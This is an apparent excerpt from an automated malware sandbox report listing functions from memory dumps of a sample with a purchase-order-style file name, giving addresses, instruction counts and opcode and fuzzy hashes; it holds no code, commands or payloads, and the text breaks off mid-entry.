Instruction ID: 38ffa36bd79cf5a1a9c466c1dbbdf834eeaa347aed7223d06493c64ce1a5240d
Opcode Fuzzy Hash: 71202aea03680134cd06e1c9e471c385a94644de3e1f4748b24c5faaae96025d
Instruction Fuzzy Hash: 3AF0545170D1780FD731056E6C9D6766EA5FBC9A057841DFEE4CBC72A1E502CCC153A0

Function 05CC1494 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ac705dd878fa6aa4d0dfaaac518819d1c9e557bde97ea5c0a559b0d44f3333
Instruction ID: 1b55946787c4a648a5eecfef2ef2f4f8c8d3dad9059d2743d9a369696dc56089
Opcode Fuzzy Hash: 10ac705dd878fa6aa4d0dfaaac518819d1c9e557bde97ea5c0a559b0d44f3333
Instruction Fuzzy Hash: 50F0B436B046115FE314D6659801B6ABBA9EBC8620F1849EEE549AB341DB75AC418780

Function 05C97F48 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5566c6ebc6f87c06816a4b56d52a4c10d538edd6f117bcc7b09a5cf1ac1baa3
Instruction ID: 96afcd7dc7dd739b8b96d20a15374540436748735d1e97a6bb063e299f6d8574
Opcode Fuzzy Hash: d5566c6ebc6f87c06816a4b56d52a4c10d538edd6f117bcc7b09a5cf1ac1baa3
Instruction Fuzzy Hash: BDF01474D15208DFCB44DFA8D8486AEBBF8FB09201F2048A99819F3240E7305A41CB91

Function 027818B0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03268810331b5b2484c2d95da1a21c1d68bd57e925eb3b2f169701c9973d23a9
Instruction ID: 432120c2a03b9bdef4e47a0995246c61591512ebff741656f460719b0b290444
Opcode Fuzzy Hash: 03268810331b5b2484c2d95da1a21c1d68bd57e925eb3b2f169701c9973d23a9
Instruction Fuzzy Hash: 9CF09A307401208FD318EB29E419A6E33E7EBC9320FA584AAE10AC7354CE71EC42CB50

Function 02782B3D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f5a7fd3e5291f68b7551e9d9e7ef4b0457d59c2eea34cc19b38220771c0ba35
Instruction ID: 36b2e4882625b30d0293736235bf1f76bf60ec60aea5b2aaf405b1fef025df16
Opcode Fuzzy Hash: 7f5a7fd3e5291f68b7551e9d9e7ef4b0457d59c2eea34cc19b38220771c0ba35
Instruction Fuzzy Hash: EEF05E75A80480CFEB009F31E5943E63BF3FB89322F6891A2D94597106E7349497CA04

Function 05CCE3B8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7009d11f87c45bb0a3dc2eecdd4117f894dc2e0b1a39540252a054b356951bb9
Instruction ID: 1c072ed0ae39a289e7d818c15a67c2bb0c85a381ea66c02279695f4b33cc5778
Opcode Fuzzy Hash: 7009d11f87c45bb0a3dc2eecdd4117f894dc2e0b1a39540252a054b356951bb9
Instruction Fuzzy Hash: 96F05E353106009FC714DB29D459E2A7BAAFFC8721B1040A9FA468B3A0CE32EC42CB90

Function 06140F8D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f5b385f0eafa7de530d6a6e931b87fb7da251efcee2c41f229bb4cf6ef152b
Instruction ID: 2df83245c553f38633886a18a15031a680b26a237526dc3b771039fa9b63d55b
Opcode Fuzzy Hash: e4f5b385f0eafa7de530d6a6e931b87fb7da251efcee2c41f229bb4cf6ef152b
Instruction Fuzzy Hash: 1901A578A052299FCB64EF64D9449D9BBF1FB89340F1080D9E409A7B44DB345F85CF51

Function 05C97F43 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4725299066ba40bd86cf031b68570cbee758357747960106bc5c22d25e8e885d
Instruction ID: 315ab321bcdf0ce1e29598a7d64babc4567c2b2247e1ae088aaf217ea73fb26c
Opcode Fuzzy Hash: 4725299066ba40bd86cf031b68570cbee758357747960106bc5c22d25e8e885d
Instruction Fuzzy Hash: 21F0E2B5C15209EFDB48DFA8D9486AEBBF8FF09301F2048A99419B7390D7305A41CB91

Function 05C93D31 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0138c65e0e03e48b3e53975bc1b722861aac87dfa15658c48cf330a0e336d9eb
Instruction ID: 0028dc58e3aece23e629e31c5796e933241ca981433a111a1e55946b71939a71
Opcode Fuzzy Hash: 0138c65e0e03e48b3e53975bc1b722861aac87dfa15658c48cf330a0e336d9eb
Instruction Fuzzy Hash: 5DF01D71D08248AFCB44CFA9D450BADBFF5EB49210F14C49AE828D6250C2358A51DF50

Function 05C98A8C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9a5e8de1699e8cf43504c0e864abf43dd273785622bd0f22d8c2a379b9ae1e
Instruction ID: 986e4dfff2cd76d3cc27182c51604bf507c5912d918ea2f2b41cb4a9d6b90d33
Opcode Fuzzy Hash: 6c9a5e8de1699e8cf43504c0e864abf43dd273785622bd0f22d8c2a379b9ae1e
Instruction Fuzzy Hash: B601E874906299CBDF10DF68D88C799B7B2BB05304F1045D5D409AB285D7785A91CF42

Function 05CC2064 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b58fef5739e5d49a49b2b53784e3ee0a2cb596456f5778e1471b3b997c4a9fe6
Instruction ID: b9b2ca79f471a2778790b8a3de175c6980fc054e1721549f081db1881890515c
Opcode Fuzzy Hash: b58fef5739e5d49a49b2b53784e3ee0a2cb596456f5778e1471b3b997c4a9fe6
Instruction Fuzzy Hash: F5F01C3A3006118F87049F59D884D9A7BE9BF8962131184AEF50ACB320CA71DC09CB50

Function 05C9FDE0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 242b9c53654e18e565a4bbc79cf391fa1b4fc5e44a2c365217f99382e610286e
Instruction ID: 1b433fa21493acef531ab76331f810f46dd64f863d2f30442af0445320eaa2a4
Opcode Fuzzy Hash: 242b9c53654e18e565a4bbc79cf391fa1b4fc5e44a2c365217f99382e610286e
Instruction Fuzzy Hash: 7FF03A75D092489FCB46CFA9D9485ACBFB1EF09300F1490EAD898E7362D6308A54DF40

Function 05CC375C Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 780d6776427f07b828e0107b7d9dad394b028ae0f19107fc8e26bd92f0443111
Instruction ID: 217e7005951f4daccf14e9fbe31dbedf0431c0d3a1468ad65e2bbac6145b10fa
Opcode Fuzzy Hash: 780d6776427f07b828e0107b7d9dad394b028ae0f19107fc8e26bd92f0443111
Instruction Fuzzy Hash: 92F0A7B5A04244ABCB09DB99E148BDD7FB6AB40721F14C89DE047D2140DF704780CBC0

Function 05CC3750 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f28eaf05b8d425087dbd8dc064ec42b8f598439eb641137a0f49e002335bd9d
Instruction ID: 890a2e57591eb1458544e21d0dfd6b2e25365c425ff054c94e207e204bb5e53e
Opcode Fuzzy Hash: 5f28eaf05b8d425087dbd8dc064ec42b8f598439eb641137a0f49e002335bd9d
Instruction Fuzzy Hash: ADF0E2B5E082449FCB09DBA4D0487CC7FB2AB40621F08CADAD047E2190EF344685CB81

Function 05C93D40 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd933d2e34bb805d90d779916b7cc15a0a60831d10e2e0de2055e3ef4586e76
Instruction ID: 969d6dd98c538fca85488b86bf40a3bfeccb04f9de27d7edeccc6cc20f09a78d
Opcode Fuzzy Hash: fbd933d2e34bb805d90d779916b7cc15a0a60831d10e2e0de2055e3ef4586e76
Instruction Fuzzy Hash: FDF08C71D04248EFCB84CFA9C800AADBBF8EB49300F10C89AE868E3341C2359A11DF50

Function 05C906B0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59429f25bd32de4617a3c9bc4416346199871e4cca6959997780c0e967ef81d0
Instruction ID: ed31c9a8589d5b04825a3e848f7543458fe037b6c9b42de15780dde8d6384041
Opcode Fuzzy Hash: 59429f25bd32de4617a3c9bc4416346199871e4cca6959997780c0e967ef81d0
Instruction Fuzzy Hash: 8DF0B7B4A58108CFDB28DBBAC84CAADBBB6BF89300F245568D006A7212DB305941CF40

Function 05C9F378 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a5e7872372ea0c42c0fd190da2ebd650e9d2575dbc4ffdedf44d64f922a38d
Instruction ID: a0114741a938d5d2d7436c8a69d002d146892bb4fe38021c739fec5509c3a992
Opcode Fuzzy Hash: 07a5e7872372ea0c42c0fd190da2ebd650e9d2575dbc4ffdedf44d64f922a38d
Instruction Fuzzy Hash: E5F06D35914208EFDB45DF56DC49AACBBB4FB09311F2094A8E805A7361C631EAA4EB44

Function 05CC0540 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6ce46248a9c8cd53d3af0b0e8a40a5a7c8fe1467241e11e8c30ab1cac78c97d
Instruction ID: dbe0575ec3eb6e01219a76d36c570e73bb7f44b844555baa7c839e93578929f5
Opcode Fuzzy Hash: b6ce46248a9c8cd53d3af0b0e8a40a5a7c8fe1467241e11e8c30ab1cac78c97d
Instruction Fuzzy Hash: C7F01271D14204DFC745DFA9D44469CBFB4EB49210F1086DAC829A7391D6358A46CF41

Function 05CC0428 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf436ffdbacc940a3fa1db5b0bcdd385ff5e790a48cb6a314f093f4a459b2741
Instruction ID: ab07131d42cd08c2b8ecd0524d1aff907387b4790e8ed7a682c493df2b347872
Opcode Fuzzy Hash: cf436ffdbacc940a3fa1db5b0bcdd385ff5e790a48cb6a314f093f4a459b2741
Instruction Fuzzy Hash: 87F0E53084A398DBC316EFB8A4403DD7F71AB42221F1006DEC4542B1A1DA308D49CB56

Function 05CC1F90 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0324240dc17d12c63cc6c5aa19c3fb008f908fb6b461b00af51f00b6db53c867
Instruction ID: 115c17f3e26595d8242ca969869a08991005dcc3496f3bca3ce3a2d4b5fd0cc0
Opcode Fuzzy Hash: 0324240dc17d12c63cc6c5aa19c3fb008f908fb6b461b00af51f00b6db53c867
Instruction Fuzzy Hash: C2F0E230909384DFCB11DBB8D85965C7FB0DF4221079410EED4C4C7282EE351E80CB52

Function 05CC4EBC Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b032b8f1b53e253d907f1e3cbeca758a6dd7a5c429392889bad92a277cc3e874
Instruction ID: 970eefbb0adc66e5199544c5866faed3158421123503293584433fbadbf7a4e0
Opcode Fuzzy Hash: b032b8f1b53e253d907f1e3cbeca758a6dd7a5c429392889bad92a277cc3e874
Instruction Fuzzy Hash: DCD02BE3C242843FCA02367548796CC6F408D3207030A0FC59132800E1FC20B55B4112

Function 05C96479 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801d6a27735d67a11a3b0baf2ca614fdefb407e08d5e596622b964c0d2aa1356
Instruction ID: c360d7255f5a20737b254269c7f1a8886b4b73a637d00aae87c4364c7d195cbf
Opcode Fuzzy Hash: 801d6a27735d67a11a3b0baf2ca614fdefb407e08d5e596622b964c0d2aa1356
Instruction Fuzzy Hash: A8F0A9B4808208AFDB04CB91C540AECBBB0EB09210F20C0EAD826A3350D6328A52EB80

Function 05C9EF31 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9cc9722143575119773de0e7366d27740b72287ceed8b8c74c76619aa4f9409
Instruction ID: 64ca13bc10f481d4e98a5f6a42ce4650e27d44f5e05ee96f54ee62fe4ff35b92
Opcode Fuzzy Hash: b9cc9722143575119773de0e7366d27740b72287ceed8b8c74c76619aa4f9409
Instruction Fuzzy Hash: E7F03976D04308EFCF58DFA9E4083ACBBB5FB15310F108AEA8828A2380D6348A41DF40

Function 05C90488 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d107e7cb48b94cfaf3e79868c5a9cbbb30836db97d6e413216bf60515cf1df6
Instruction ID: dd54096a009c04168088da44b7bf068bd36f9bd8485d7595487f13d0333b9539
Opcode Fuzzy Hash: 5d107e7cb48b94cfaf3e79868c5a9cbbb30836db97d6e413216bf60515cf1df6
Instruction Fuzzy Hash: 6CE022B450C3509BDB0ADA60E8449AABF74EB06305F20C4D9D845A7252C7324D47C740

Function 02780860 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322815dfdbb66ad604aedb2acaa4815b0a791cdfcd818069bc4251f13a9a7092
Instruction ID: bd4d2d0fb6bfb0b3c6ed5abf1755de2588fa704f15bb654f08a12eb97ddf7871
Opcode Fuzzy Hash: 322815dfdbb66ad604aedb2acaa4815b0a791cdfcd818069bc4251f13a9a7092
Instruction Fuzzy Hash: 0BE0E22048E3C05FCB130B7068AA5D43F70DA43220BAA04CEC886874A3C92D240FCB22

Function 05CCA868 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e7a12e213bd4f2c7395ef8bb22911c87f8d62b0a3e75be4486fdc9dbb2356b6
Instruction ID: 501bad3d35642adcae5255e239d0b1a49b407bdb904cabffe89c9a0c457de591
Opcode Fuzzy Hash: 4e7a12e213bd4f2c7395ef8bb22911c87f8d62b0a3e75be4486fdc9dbb2356b6
Instruction Fuzzy Hash: CEE0483130030957CB109A6FFC84CCBFB9AEFC4665714D539E15A87225EF71AD4987A1

Function 05CC0B2C Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17e2b81e1a1be95963e01e2a1a2eabdf5baeda5aba147abcdc18aee5e5c100d
Instruction ID: a82061a268cc086a53a125ab1193e91f08ae08d8f3be0abcac8ad73ecbf0dc34
Opcode Fuzzy Hash: f17e2b81e1a1be95963e01e2a1a2eabdf5baeda5aba147abcdc18aee5e5c100d
Instruction Fuzzy Hash: E9F06D74A04208DFCB10EFA4E655AADB7B1FB49309F2009EDD40EA3340EB715E14DB85

Function 05C915C0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 248f8950cbbeb7bfcc09573a7f3c6f49e1bdee15811d737c0f123a908a195dd4
Instruction ID: 44f7dca70626ea2ade5a0471051c2808589f9293bda8e9443db4999fe9611396
Opcode Fuzzy Hash: 248f8950cbbeb7bfcc09573a7f3c6f49e1bdee15811d737c0f123a908a195dd4
Instruction Fuzzy Hash: DBE06D7450D255AFDB1ADB60D491EA87B30AF06328F2684D9C8865B2A2CB329D5BC740

Function 05C9EFA8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f0bf7bab0164bea8955eb5503362b84ce878342d5183750c6fcec1295bf2e96
Instruction ID: 0e3ad9901cdca805ef6247b0f5a661bfd9b7d04a483098a6cba3e47c195568a3
Opcode Fuzzy Hash: 5f0bf7bab0164bea8955eb5503362b84ce878342d5183750c6fcec1295bf2e96
Instruction Fuzzy Hash: 1CE09A72C542089FCB04DFA8D8093ACBFF4EB04222F2007B98828A22C0E7700F80CB41

Function 05C902D8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c462ec57ce7ae7d0e5125a0b0671ab1f47992aedd8223a3079cbd49da7e1fd20
Instruction ID: 94eaa226acd88e42c4aff04a0e7d72d5110cd25700414d811ab002b9a4a60269
Opcode Fuzzy Hash: c462ec57ce7ae7d0e5125a0b0671ab1f47992aedd8223a3079cbd49da7e1fd20
Instruction Fuzzy Hash: 69E0DF3464A250DBE71ADA90D845979BB38EB4320AF20A4CCC88AE7263CB324E07C740

Function 05E701C8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486411765.0000000005E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2cb3a02d1156ed7b248b7cae9b3e9f8de5b5f58f3103a64bbf9555d079ec048
Instruction ID: 5eb7523b9c08e97dfc7e4d116881216d750adad1dc597dd5a97e9540491675c6
Opcode Fuzzy Hash: f2cb3a02d1156ed7b248b7cae9b3e9f8de5b5f58f3103a64bbf9555d079ec048
Instruction Fuzzy Hash: 0DE0D830949348DBDB04DB68D94676CBB74EB42314F3491DCC8446B341C731BE42DB85

Function 0278D318 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2489d97c42412b93192766cd48373f0a5bedfa0ab1ac146155e6470c85ac2f
Instruction ID: 968d4a5a6a38956ecd46bfcb315cb8a70e2e63facf13517ee6e14cd7c5de3888
Opcode Fuzzy Hash: fb2489d97c42412b93192766cd48373f0a5bedfa0ab1ac146155e6470c85ac2f
Instruction Fuzzy Hash: 1BF0A575D44208EFCB54EFA9D940A9CFBB5EB49314F10C0AA9818A7750D6719A51DF80

Function 05C9FDF0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c186b814c931904cde3f1520939e6a1c605752ba95886e4afae92092dd01be3e
Instruction ID: 4ffb8e85bd1271b613e7219df2c4a6bc6ae53f8f71bb8e0bf94427b05e974a94
Opcode Fuzzy Hash: c186b814c931904cde3f1520939e6a1c605752ba95886e4afae92092dd01be3e
Instruction Fuzzy Hash: C2F0C974E04208EFCB45DFA9D548A9DBBF4EB49300F14D4ADD814A7321D6709E50DF80

Function 05C9847B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92c52ac71818168150a885d5cba00c2d64597a6c450eb1e6afeab829ddc325a
Instruction ID: 4b87f4416abc36ddcc7976eec3a52584c2399f01b764681d9e575b2376f8d320
Opcode Fuzzy Hash: b92c52ac71818168150a885d5cba00c2d64597a6c450eb1e6afeab829ddc325a
Instruction Fuzzy Hash: E1E06D74D04208EFCB44DFA9D548A9DBBF8FF49300F1080E9D814A7310D230AA40CF40

Function 05C98AFE Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1750b9a07dd7df2b5d248009fd20e3232a0fc462cc625dd3908d989a6bcdb77d
Instruction ID: 3a1901aff360834f1d70e66b4a0c9c6a1157d53b3e63c8c1a7235ecd8dab1f44
Opcode Fuzzy Hash: 1750b9a07dd7df2b5d248009fd20e3232a0fc462cc625dd3908d989a6bcdb77d
Instruction Fuzzy Hash: DCF0B774916369CBDB14DF69E88C79DB7B1BB49301F1045E5D409A7284DB785E80CF42

Function 05E70AC8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486411765.0000000005E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73a6ce04c5b5a209dc068763db048a990fc7038d5ed76793bcf6c4290d142507
Instruction ID: 4c337472fe2f17b4e5ef2242887c6492c565a68bd2188dadfc861c4ff238f2f8
Opcode Fuzzy Hash: 73a6ce04c5b5a209dc068763db048a990fc7038d5ed76793bcf6c4290d142507
